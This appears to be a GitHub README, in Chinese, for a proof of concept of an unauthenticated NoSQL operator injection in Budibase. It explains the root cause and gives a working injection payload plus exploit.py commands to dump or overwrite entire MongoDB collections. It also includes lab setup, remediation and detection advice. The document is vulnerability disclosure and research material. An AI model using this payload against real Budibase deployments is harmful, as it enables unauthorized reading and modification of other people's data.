BiiTts/CVE-2026-54350-Budibase-NoSQL-Injection

GitHub: BiiTts/CVE-2026-54350-Budibase-NoSQL-Injection

Budibase CVE-2026-54350 未授权 NoSQL 操作符注入漏洞的概念验证项目,包含可复现的利用脚本与 Docker 实验环境。

Stars: 0 | Forks: 0

# CVE-2026-54350 — Budibase 未授权 NoSQL 操作符注入 Budibase 中存在未授权的 JSON/NoSQL 操作符注入。任何匿名访客在访问已发布的 Budibase 应用时,如果该应用公开了基于文档数据源(MongoDB、CouchDB、Elasticsearch、DynamoDB-PartiQL 或带有 JSON body 的 REST)的 **PUBLIC** 查询,就可以**读取后备集合中的所有文档**;如果存在公开的写入查询,还可以**修改所有文档**——且仅需发送单个未授权的 HTTP 请求。 | | | |---|---| | **CVE** | CVE-2026-54350 | | **安全公告** | [GHSA-8qv3-p479-cj62](https://github.com/Budibase/budibase/security/advisories/GHSA-8qv3-p479-cj62) | | **CVSS 3.1** | 10.0 — `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N` | | **CWE** | CWE-943 (数据查询中特殊元素的不当中和), CWE-89 | | **认证** | 无(未授权) | | **受影响版本** | Budibase `<= 3.39.0`(厂商公告范围) | | **修复版本** | 根据 NVD 为 `3.39.12`;从 `3.39.1` 起注入的引号已被中和,而明确的修复(`processJsonStringSync`)在 `3.39.9` 中引入 | | **结论** | **已确认** — 在 `3.39.0` 上完成了端到端复现 | ## 根本原因 在执行查询时,Budibase 会使用 Handlebars 将用户参数丰富到查询的原始 JSON body 中,然后对结果执行 `JSON.parse`: ``` enrichContext() packages/server/src/sdk/workspace/queries/queries.ts enrichedQuery.json = processStringSync('{"name":"{{ name }}"}', { name: }, { noEscaping: true }) enrichedQuery.json = JSON.parse(enrichedQuery.json) ``` 在受影响的构建版本中,该参数在进行**没有 JSON 转义**的情况下被直接插值。因此,包含 `"` 的值会闭合目标字符串,并将相邻的键注入到解析后的对象中。唯一的输入过滤器 `validateQueryInputs()`(`api/controllers/query/index.ts`)**仅**拒绝 Handlebars 标记(`{{`、`}}`)——它不会处理 `"`、`\`、`}` 或 `$`。 对于 MongoDB 的 `find` 操作,解析后的对象会被直接传递给 `collection.find()`(`integrations/mongodb.ts`)。一个重复的 `name` 键(如果其值是一个操作符对象)会在 `JSON.parse` 合并时生效,从而将字符串相等条件转变为 `{$exists: true}` 并返回整个集合。对 `updateMany` 查询使用同样的手法会将过滤器扩大到所有文档。 访问控制被绕过的关键在于,当查询的资源角色为 `PUBLIC` 时,`authorized()`(`middleware/authorized.ts:141`)会通过 `return next()` 短路执行,跳过会话认证和 CSRF 校验。到达该查询所需的 `x-budibase-app-id` header 是公开的——它是每个已发布应用 URL 的一部分。 有关完整的代码级分析和版本边界调查,请参阅 [`ANALYSIS.md`](ANALYSIS.md)。 ## 载荷 查询 body 模板(在 builder 中配置): ``` {"name":"{{ name }}"} ``` `name` 参数的注入值: ``` zzz","name":{"$exists":true},"$comment":"cve-2026-54350 ``` 经过插值和 `JSON.parse` 之后(重复键合并,后者覆盖前者): ``` { "name": { "$exists": true }, "$comment": "cve-2026-54350" } ``` `$comment` 是一个无实际作用的 MongoDB meta-operator,用于吸收模板末尾的 `"}`,从而确保整个 body 保持为有效的 JSON。 ## 利用方式 `exploit.py` — 仅使用 Python 3 标准库,无额外依赖。 ``` # 通过 PUBLIC read (find) 查询导出整个 collection python3 exploit.py --url http://target --app-id app_ \ --query-id query_<...> --mode read # 通过 PUBLIC updateMany 查询修改每个 document python3 exploit.py --url http://target --app-id app_ \ --query-id query_<...> --mode write ``` `--app-id` 和 `--query-id` 是在已发布应用自身的 API 通信中观察到的公开值。`--field` 会覆盖参数所绑定到的 JSON 键(默认为 `--param`)。 ## 复现步骤 需要 Docker。此实验环境使用 `--network host`(假设没有桥接网络)和 `mongo:4.4`(宿主机不支持 AVX;MongoDB 5.0+ 需要该指令集)。 ``` bash lab/setup.sh # 打印 PROD_APP_ID / READ_QUERY / UPDATE_QUERY,然后: python3 exploit.py --url http://127.0.0.1 --app-id \ --query-id --mode read ``` `lab/provision.py` 仅驱动合法的 builder API——它没有削弱任何默认设置。将查询的访问角色标记为 `PUBLIC` 是 builder 的一等公民功能(已发布的应用正是通过这种机制暴露数据的)。完整的捕获运行记录请见 [`EVIDENCE.txt`](EVIDENCE.txt)。 ## 关于受影响版本的说明 NVD 将受影响范围列为 `< 3.39.12`。根据实际经验,裸引号攻击向量仅在 **`<= 3.39.0`** 上可被利用,这与厂商的 GHSA 公告中所述范围完全一致。从 `3.39.1` 开始,模板层已经对注入的引号进行了转义(已验证:针对 `3.39.8` 的相同请求已被中和),而 `3.39.9` 引入了明确的 `processJsonStringSync` 修复。因此,此 PoC 的目标是 `3.39.0`,即厂商受影响范围内的最新版本。 ## 影响 - **机密性:** 未经授权即可批量读取暴露集合中的所有文档,包括任何敏感字段。 - **完整性:** 当存在公开的写入(更新)查询时,可未经授权批量修改所有文档。 - 只需单个请求,无需会话,无需 CSRF token,且具备跨源执行能力。 ## 修复方案 - 升级到已修复的 Budibase 版本(`>= 3.39.12`,或至少升级到引入了 `processJsonStringSync` 对插值参数进行 JSON 转义的 `>= 3.39.9`)。 - 审计已发布的应用,检查访问角色为 `PUBLIC` 的查询;尽可能将其限制为已认证的角色。 - 对于文档数据源,优先使用参数化查询,而非基于字符串模板的 JSON body。 ## 检测 关注来自未授权会话的 `POST /api/v2/queries/` 请求,检查其 `parameters` 值中是否包含 `"` 且紧随带有 `$` 前缀的 MongoDB 操作符(如 `$exists`、`$ne`、`$gt`、`$where`、`$regex` 等)或重复的 JSON 键。对于 MongoDB,请启用性能分析(profiling),并在通常为字符串类型的查询参数以对象形式到达时发出警报。 ## 致谢 研究与 PoC 作者:**Caio Fabrício** ([@BiiTts](https://github.com/BiiTts))。
标签:Budibase, CISA项目, Maven, NoSQL注入, PoC, Web安全, 安全漏洞, 暴力破解, 漏洞验证, 蓝队分析, 请求拦截